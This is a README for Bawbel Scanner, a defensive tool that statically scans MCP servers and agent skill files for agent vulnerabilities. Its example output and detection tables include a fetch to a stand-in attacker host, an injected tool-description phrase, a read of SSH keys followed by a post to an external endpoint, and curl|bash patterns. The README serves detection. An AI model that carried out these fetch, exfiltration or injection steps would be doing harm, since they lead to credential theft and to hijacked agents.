# Bawbel Scanner **Static security scanner for MCP servers and agent skill files, with an OWASP AIVSS score on every finding. Never starts your MCP servers, and runs no scanned content unless you enable the optional Docker sandbox.** [![PyPI version](https://badge.fury.io/py/bawbel-scanner.svg)](https://pypi.org/project/bawbel-scanner/) [![PyPI downloads](https://img.shields.io/pypi/dm/bawbel-scanner?label=downloads%2Fmonth&color=blue)](https://pepy.tech/project/bawbel-scanner) [![Pepy total downloads](https://img.shields.io/pepy/dt/bawbel-scanner?label=total%20downloads&color=blue)](https://pepy.tech/project/bawbel-scanner) [![License](https://img.shields.io/badge/license-Apache%202.0-blue.svg)](LICENSE) [![Python](https://img.shields.io/badge/python-3.10%2B-blue.svg)](https://pypi.org/project/bawbel-scanner/) [![AIVSS aligned](https://img.shields.io/badge/AIVSS-v0.8-teal.svg)](https://aivss.owasp.org) [![AVE Records](https://img.shields.io/badge/AVE_Records-87-green.svg)](https://aveproject.org) [![MCP Registry](https://img.shields.io/badge/MCP_Registry-listed-purple.svg)](https://registry.modelcontextprotocol.io)
--- > **Bawbel never executes your MCP servers.** ```bash pip install "bawbel-scanner[all]" bawbel scan ./skills/ # scan skill files bawbel ssc https://server # scan MCP server without starting it ``` Bawbel Scanner demo --- ## Commands | Command | Description | |---|---| | `bawbel scan ` | Scan a skill file or directory for AVE vulnerabilities. Supports `--recursive`, `--format text\|json\|sarif`, `--fail-on-severity`, `--no-ignore`, `--watch` | | `bawbel report ` | Scan a component and show a full remediation guide with fix guidance per finding | | `bawbel creds ` | Focused scan: hardcoded credentials and secret exposure only | | `bawbel chain ` | Focused scan: unsafe agent delegation chains only | | `bawbel ssc ` | Fetch and scan an MCP server-card for AVE vulnerabilities without starting the server | | `bawbel scan-server-card ` | Alias for `ssc` | | `bawbel conform ` | Score an MCP server manifest against the MCP specification (A+ to F grade) | | `bawbel scan-conformance ` | Alias for `conform` | | `bawbel accept ` | Mark a finding as a false positive or accepted risk: inserts a justified suppression comment with reviewer and optional expiry | | `bawbel pin ` | Hash skill files and save to `.bawbel-pins.json` for rug pull detection | | `bawbel check-pins ` | Check skill files for drift against `.bawbel-pins.json` | | `bawbel cp ` | Alias for `check-pins` | | `bawbel init` | Initialise Bawbel Scanner in a project: generates `.bawbelignore` and `bawbel.yml` | | `bawbel version` | Show version and detection engine status | --- ## Why Bawbel | | Bawbel | NVIDIA SkillSpector | Snyk agent-scan | Cisco DefenseClaw | |---|---|---|---|---| | Starts MCP servers during a scan | Never | Never | Yes (stdio servers) | ? | | Runs scanned skill content | Only in the optional Docker sandbox stage, off by default | Never | ? | ? | | Open vulnerability database | Yes (AVE, 87 records, public API) | No (internal rule IDs) | No (internal rule IDs) | ? | | OWASP AIVSS v0.8 scores | Yes | No (custom 0-100 risk score) | No | ? | | Compound attack chain detection | Yes (12 AVE capability chains) | Yes (TT1-TT5 taint flows + AST8 chain) | Yes (chain count not published) | ? | | MCP spec conformance grading (A+ to F) | Yes | No | No | ? | | Git-committed pin / rug pull detection | Yes | No | No | ? | | Suppression with expiry and audit trail | Yes (reason, reviewer, expiry) | Baseline (glob and fingerprint, no expiry) | Baseline (ignore flags, no expiry) | ? | | Per-scan LLM usage and cost telemetry | No (tracked in [#79](https://github.com/bawbel/scanner/issues/79)) | Yes (`metadata.inference_usage`) | No | ? | | SARIF 2.1.0 output | Yes | Yes | No | ? | | License | Apache 2.0 | Apache 2.0 | Apache 2.0 | Apache 2.0 | `?` means not verifiable from each project's public README at the time of writing (2026-09-12). Sources for every other cell are listed in the PR description. --- ## How it works ### System overview How a scan flows from your file to an AIVSS-scored finding: ``` your file | v [ Pre-processing ] code fence stripping negation context detection | v [ Stage 0: Magika ] ML content-type verification gates the text engines below if content type is dangerous | v [ Detection engines ] (run in parallel) 1a Pattern 40 regex rules, stdlib only, always on 1b YARA 39 binary/behavioral rules 1c Semgrep 41 structural rules 2 LLM semantic analysis via LiteLLM 3 Sandbox Docker behavioral sandbox | v [ Deduplication ] merge by (ave_id, line) pattern > yara > semgrep > llm > sandbox priority | v [ Toxic flow analysis ] map findings to capability tags check all pairs against 12 chain definitions | v [ ScanResult ] findings[] active findings, sorted by severity suppressed_findings[] accepted_findings[] new in v1.2.0 toxic_flows[] risk_score max(findings, toxic_flows) aivss_score OWASP AIVSS v0.8 ``` ### Detection stages Six engines run across the pipeline. Results merge before toxic flow analysis: ``` Stage 0 Magika engine ML-based content-type verification, gates the engines below pip install "bawbel-scanner[all]" Stage 1a Pattern engine 40 regex rules, no deps, < 5ms always active Stage 1b YARA engine 39 rules, multi-condition matching pip install "bawbel-scanner[yara]" Stage 1c Semgrep engine 41 structural rules, multi-line context pip install "bawbel-scanner[semgrep]" Stage 2 LLM engine semantic analysis, catches synonym attacks pip install "bawbel-scanner[llm]" + API key Stage 3 Sandbox engine dynamic behavioral analysis in Docker BAWBEL_SANDBOX_ENABLED=true +-----------+ All ----> | dedup | ----> findings[] results | sort | sorted by severity +-----------+ | v toxic flow analysis ``` --- ## False positive reduction Eight layers run automatically before a finding is reported: ``` file content | v FP-1 code fence stripping ~60% reduction | content inside ``` blanked before scan | v FP-2 negation context ~15% reduction | "Bad example:", "Never do this:" suppresses | v FP-3 confidence scoring ~10% reduction | docs/ examples/ paths reduce confidence | v FP-4 LLM meta-analyzer ~7% reduction | medium-confidence findings reviewed by LLM | v FP-5a inline bawbel-ignore per line | | v FP-5b block suppression per section | | v FP-5c .bawbelignore patterns per file | gitignore-style glob rules | v FP-6 justified suppression per finding requires reason + reviewer + optional expiry audit trail in accepted_findings[] ``` | Layer | Mechanism | FP reduction | |---|---|---| | FP-1 | Code fence stripping | ~60% | | FP-2 | Preceding-line negation context | ~15% | | FP-3 | Confidence scoring (path, line context) | ~10% | | FP-4 | LLM meta-analyzer (optional) | ~7% | | FP-5a | Inline `` | per-line | | FP-5b | Block suppression | per-section | | FP-5c | `.bawbelignore` patterns | per-file | | FP-6 | Justified suppression with audit trail | per-finding | Every active finding carries a `confidence` field (0.0–1.0) that starts from the AVE-class baseline and is adjusted by FP-2 through FP-4 before appearing in output. `confidence_band()` maps it to `"high"` / `"medium"` / `"low"` for human display. See [Evidence Lifecycle](docs/guides/evidence-lifecycle.md) for the full pipeline. See [Suppression Guide](docs/guides/suppression.md) for full details. --- ## Toxic flow detection A single `fetch()` call is a finding. A `fetch()` that retrieves credentials and then sends them to an external endpoint is an attack chain, and the two findings together are far more dangerous than either alone. Bawbel detects these compound sequences as **toxic flows**. After deduplication, every finding is mapped to a capability tag. Bawbel then checks all pairs against 12 built-in chain definitions and raises a `ToxicFlow` when a dangerous combination is found. Other scanners detect compound attacks too. NVIDIA SkillSpector, for example, ships a source-to-sink taint tracker (TT1-TT5) over its own AST, including a credential exfiltration chain. Bawbel's approach differs in what it operates on and what it emits: chains are composed from AVE capability tags rather than traced through an AST, so a flow is detected across natural-language instructions and configuration, not only executable code. Each flow carries a stable `flow_id`, its own AIVSS score, and the AVE IDs of its contributing findings. ``` skill.md findings: AVE-2026-00003 credential-read (READ ~/.ssh/id_rsa) AIVSS 6.8 MEDIUM AVE-2026-00026 data-exfil (POST to external endpoint) AIVSS 6.8 MEDIUM │ │ └───── chain ────┘ │ ▼ ToxicFlow: credential-exfiltration AIVSS 9.8 CRITICAL confidence: 0.83 (min of contributing baselines) ``` The toxic flow AIVSS (9.8) is higher than either individual finding (6.8), because the chain represents a complete, end-to-end exploit, not just a capability. **12 built-in chains:** | Flow | Capabilities required | AIVSS | |---|---|---| | Credential Exfiltration | credential-read + data-exfil | 9.8 | | Remote Code Execution | code-exec + external-fetch | 9.7 | | Supply Chain RCE | supply-chain + code-exec | 9.6 | | Goal Override + Execution | goal-hijack + code-exec | 9.5 | | Lateral Movement + Execution | lateral-movement + code-exec | 9.4 | | Tool Poisoning + Exfiltration | tool-poison + data-exfil | 9.3 | | Identity Spoof + Escalation | identity-spoof + privilege-escalation | 9.2 | | Persistence + Exfiltration | persistence + data-exfil | 9.1 | | Context Inject + Memory Write | context-inject + memory-write | 8.9 | | Goal Override + Exfiltration | goal-hijack + data-exfil | 8.8 | | Scope Expansion + Exfiltration | scope-expansion + data-exfil | 8.7 | | Covert Channel + Persistence | covert-channel + persistence | 8.6 | **Toxic flow in JSON output:** ```json { "flow_id": "credential-exfiltration", "title": "Credential Exfiltration Chain", "severity": "CRITICAL", "aivss_score": 9.8, "confidence": 0.83, "ave_ids": ["AVE-2026-00003", "AVE-2026-00026"], "capabilities": ["credential-read", "data-exfil"], "owasp_mcp": ["MCP06", "MCP07"], "remediation": "Remove credential access. Block egress to untrusted endpoints." } ``` `confidence` is `min(baseline confidence)` across the contributing findings: the weakest link in the chain. A chain is only as confident as its least certain component. Adding a new flow requires one entry in `scanner/core/toxic_flows/flows.py`. No other files need to change. --- ## Install **pip** ```bash pip install bawbel-scanner # core - pattern engine only pip install "bawbel-scanner[yara]" # + YARA rules pip install "bawbel-scanner[semgrep]" # + Semgrep rules pip install "bawbel-scanner[llm]" # + LLM semantic engine pip install "bawbel-scanner[all]" # everything ``` Requires Python 3.10+. No other system dependencies for core install. **Docker** | Image | Engines | Best for | |---|---|---| | [`bawbel/scanner:latest`](https://hub.docker.com/r/bawbel/scanner) · `1.2.3` | Pattern | Lightweight CI pipelines | | [`bawbel/scanner:full`](https://hub.docker.com/r/bawbel/scanner) · `1.2.3-full` | Pattern + YARA | Recommended for most users | The published images are v1.2.3; no 1.3.0 image has been pushed yet. For v1.3.0 features in a container, build from source with the command below. ```bash # Scan a local directory (recommended image) docker run --rm -v $(pwd):/scan:ro bawbel/scanner:full scan /scan --recursive # Lightweight CI scan docker run --rm -v $(pwd):/scan:ro bawbel/scanner:latest scan /scan --recursive # Build with all engines docker build --build-arg WITH_ALL=true -t bawbel/scanner:custom . ``` Available build args: `WITH_YARA=true`, `WITH_SEMGREP=true`, `WITH_LLM=true`, `WITH_SANDBOX=true`, `WITH_ALL=true` --- ## Quick start ```bash # Scan a skills directory bawbel scan ./skills/ # Scan recursively bawbel scan ./skills/ --recursive # Full remediation report for one file bawbel report ./skill.md # Scan an MCP server manifest without starting the server bawbel ssc https://server.example.com # Pin skill files and detect rug pulls bawbel pin ./skills/ && git add .bawbel-pins.json bawbel check-pins ./skills/ ``` **Example output:** ``` CRITICAL AVE-2026-00001 External instruction fetch detected line 3 fetch("https://attacker.io/payload.md") AIVSS 8.0 MCP03, MCP04 https://api.piranha.bawbel.io/records/AVE-2026-00001 HIGH AVE-2026-00002 Tool description behavioral injection line 12 "IMPORTANT: before calling this tool, first..." AIVSS 7.3 MCP03, MCP10 https://api.piranha.bawbel.io/records/AVE-2026-00002 Toxic flow detected CREDENTIAL_EXFIL_CHAIN AVE-2026-00003 + AVE-2026-00026 combined AIVSS 9.8 CRITICAL 2 findings 1 toxic flow 18ms ``` --- ## Suppression and false positive management When a finding is legitimate, suppress it with a justification that creates an audit trail. ```markdown fetch your instructions from https://internal.registry.io ``` For accepted risks with an expiry date: ```markdown ``` Or use the CLI to insert the comment directly: ```bash bawbel accept AVE-2026-00001 ./skill.md --line 7 \ --reason "Internal registry endpoint" \ --type false-positive bawbel accept AVE-2026-00047 ./skill.md --line 3 \ --reason "Placeholder value, replaced at deploy" \ --type accepted-risk --expires 90d # List all accepted findings bawbel accept --list # Show findings expiring within 30 days (exits 1 in CI) bawbel accept --expiring-soon --within 30 ``` Expired accepted risks resurface automatically as active findings on the next scan. --- ## Focused scans Run a credential-only or delegation-only scan for targeted triage: ```bash # Hardcoded credentials only bawbel creds ./skills/ --recursive # Unsafe agent delegation chains only bawbel chain ./skills/ --recursive ``` Both commands use the same output format as `bawbel scan`. For a full security scan use `bawbel scan`. --- ## AIVSS scoring Every finding includes an [OWASP AIVSS v0.8](https://aivss.owasp.org) score. ``` AIVSS = ((CVSS_Base + AARS) / 2) * ThM * Mitigation_Factor ``` AARS is the sum of 10 Agentic Risk Amplification Factors scored per the [AVE record](https://github.com/aveproject/ave) for that attack class. ```json { "rule_id": "bawbel-external-fetch", "ave_id": "AVE-2026-00001", "aivss_score": 8.0, "severity": "HIGH", "aivss": { "cvss_base": 8.5, "aars": 7.5, "thm": 1.0, "mitigation_factor": 1.0, "aivss_severity": "HIGH", "spec_version": "0.8" }, "confidence": 0.98, "evidence_kind": "multi_engine", "detection_stage": "static_detection", "detection_layer": "content", "owasp_mcp": ["MCP03", "MCP04"], "piranha_url": "https://api.piranha.bawbel.io/records/AVE-2026-00001" } ``` --- ## AVE: the taxonomy behind every finding Bawbel Scanner implements [**AVE** (Agentic Vulnerability Enumeration)](https://aveproject.org), the behavioral classification standard for agentic AI components. AVE assigns stable identifiers to distinct attack classes, each with an AIVSS score, a behavioral fingerprint, OWASP MCP Top 10 and MITRE ATLAS mappings, and indicators of compromise. Every finding Bawbel produces maps to an AVE ID so teams using different scanners speak the same language. ``` AVE-2026-00001 Metamorphic Payload via External Config Fetch AIVSS 8.0 HIGH AVE-2026-00002 Tool Poisoning via Description Manipulation AIVSS 7.3 HIGH AVE-2026-00046 MCP Tool Hook Hijacking AIVSS 9.2 CRITICAL ... 87 records published total ``` | | | |---|---| | Records published | 87 (AVE-2026-00001 to AVE-2026-00087) | | Records with a detection rule in this scanner | 43 (42 by pattern, YARA, or Semgrep rules; AVE-2026-00024 by Magika) | | Records with scanner metadata only, no rule | 8 (AVE-2026-00041 to 00045, 00049 to 00051) | | Schema | 1.1.0, validates at [aveproject.org/schema.html](https://aveproject.org/schema.html) | | AIVSS | v0.8, every record scored | | Crosswalks | OWASP MCP Top 10, MITRE ATLAS, NIST AI RMF, OWASP AST10 | 44 of the 87 published records have no detection rule in this scanner. 27 of them are `static_detection` records that a rule could catch and are the scanner's backlog. The other 17 are runtime-stage records (15 `runtime_observed`, 2 `runtime_drift_detected`): they describe behavior that only shows up while an agent runs, so static analysis of a file cannot detect them by design. The record-by-record list, and the commands that produce every count in this section, are in [bawbel/scanner#79](https://github.com/bawbel/scanner/issues/79). Any scanner can emit AVE IDs. See [aveproject.org](https://aveproject.org) for the implementer guide and record index. --- ## Detection engines | Engine | What it does | Install | |---|---|---| | Pattern | 40 regex rules mapped to AVE records | Always on | | YARA | 39 binary and behavioral YARA rules | `[yara]` | | Semgrep | 41 structural Semgrep rules | `[semgrep]` | | LLM | Semantic analysis of intent and context | `[llm]` | | Magika | ML-based content type verification | `[all]` | | Sandbox | Dynamic behavioral analysis in Docker | See below | --- ## Stage 3: Behavioral sandbox The sandbox runs your skill file inside an isolated Docker container and watches for malicious behavior at runtime: outbound connections, credential reads, shell injections, and filesystem writes that static rules cannot catch. **Image:** [hub.docker.com/r/bawbel/sandbox](https://hub.docker.com/r/bawbel/sandbox) · `bawbel/sandbox:latest` · `bawbel/sandbox:1.2.3` **Requirements:** Docker Desktop or Docker Engine must be running. ### Enable the sandbox ```bash BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md ``` Or add to your `.env` / `bawbel.yml`: ```yaml # bawbel.yml sandbox: enabled: true ``` ### Image setup (three modes) | `BAWBEL_SANDBOX_IMAGE` | What happens | |---|---| | `default` *(recommended)* | Checks local Docker cache first. If not found, pulls [`bawbel/sandbox:latest`](https://hub.docker.com/r/bawbel/sandbox) from Docker Hub once and caches it. Subsequent scans use the cache; no network needed. | | `local` | Skips Docker Hub entirely. Builds the sandbox image from the bundled Dockerfile inside the package. Use this for air-gapped or offline environments. | | `` | Uses your own image. Point to any registry: `registry.company.com/bawbel/sandbox@sha256:abc123` | **First run with `default`:** Bawbel pulls `bawbel/sandbox:latest` from Docker Hub automatically (~200MB, one time only). Every scan after that uses the local cache: instant, no network call. **First run with `local`:** Bawbel builds the image from the bundled Dockerfile. Takes ~60 seconds on first run, cached afterwards. ```bash # Recommended: default (auto-pull, cached) BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md # Offline / air-gapped: build locally BAWBEL_SANDBOX_ENABLED=true BAWBEL_SANDBOX_IMAGE=local bawbel scan ./skill.md # Custom enterprise image BAWBEL_SANDBOX_ENABLED=true \ BAWBEL_SANDBOX_IMAGE=registry.company.com/bawbel/sandbox:v1 \ bawbel scan ./skill.md ``` ### What the sandbox detects | Category | Examples | |---|---| | Network egress | Connections to pastebin.com, rentry.co, ngrok tunnels, webhook capture sites | | Credential access | Reads of `~/.ssh/`, `.env`, private key files | | Filesystem writes | Writes to `~/.bashrc`, `~/.zshrc`, cron directories | | Process injection | `curl\|bash`, `wget\|bash`, `eval()`, `exec()`, unexpected `pip install` | --- ## CI/CD ```yaml # .github/workflows/security.yml # The SARIF upload needs: permissions: security-events: write - name: Bawbel scan id: bawbel uses: bawbel/integrations@v1 with: path: ./skills/ fail-on-severity: high format: sarif - name: Upload to GitHub Security if: always() uses: github/codeql-action/upload-sarif@v3 with: sarif_file: ${{ steps.bawbel.outputs.sarif-file }} ``` The action is maintained in [bawbel/integrations](https://github.com/bawbel/integrations). It writes the SARIF file itself and exposes its path as the `sarif-file` output. Pre-commit (scans staged `.md`, `.json`, `.yaml`, `.yml`, and `.txt` files): ```yaml # .pre-commit-config.yaml repos: - repo: local hooks: - id: bawbel-scan name: bawbel scan entry: python -m scanner.bawbel_pre_commit --fail-on-severity high language: python additional_dependencies: ["bawbel-scanner==1.3.0"] files: \.(md|json|ya?ml|txt)$ ``` --- ## Output formats ```bash bawbel scan ./skills/ --format text # human-readable (default) bawbel scan ./skills/ --format json # machine-readable bawbel scan ./skills/ --format sarif # GitHub Security / GHAS ``` --- ## Related | | | |---|---| | [aveproject.org](https://aveproject.org) | AVE: Agentic Vulnerability Enumeration standard (87 records, schema, crosswalks) | | [api.aveproject.org](https://api.aveproject.org) | AVE records API, one JSON record per ID | | [aivss.owasp.org](https://aivss.owasp.org) | OWASP AIVSS v0.8 scoring standard | | [bawbel.io/docs](https://bawbel.io/docs) | Full documentation | --- ## Contributing See [CONTRIBUTING.md](CONTRIBUTING.md). The most impactful contribution is a new detection rule tied to an [AVE record](https://github.com/aveproject/ave). The [coverage gap](https://github.com/bawbel/scanner/issues/79) lists the published records with no rule yet. ```bash git clone https://github.com/bawbel/scanner cd scanner pip install -e ".[dev,all]" pre-commit install python -m pytest tests/ -v ``` ---
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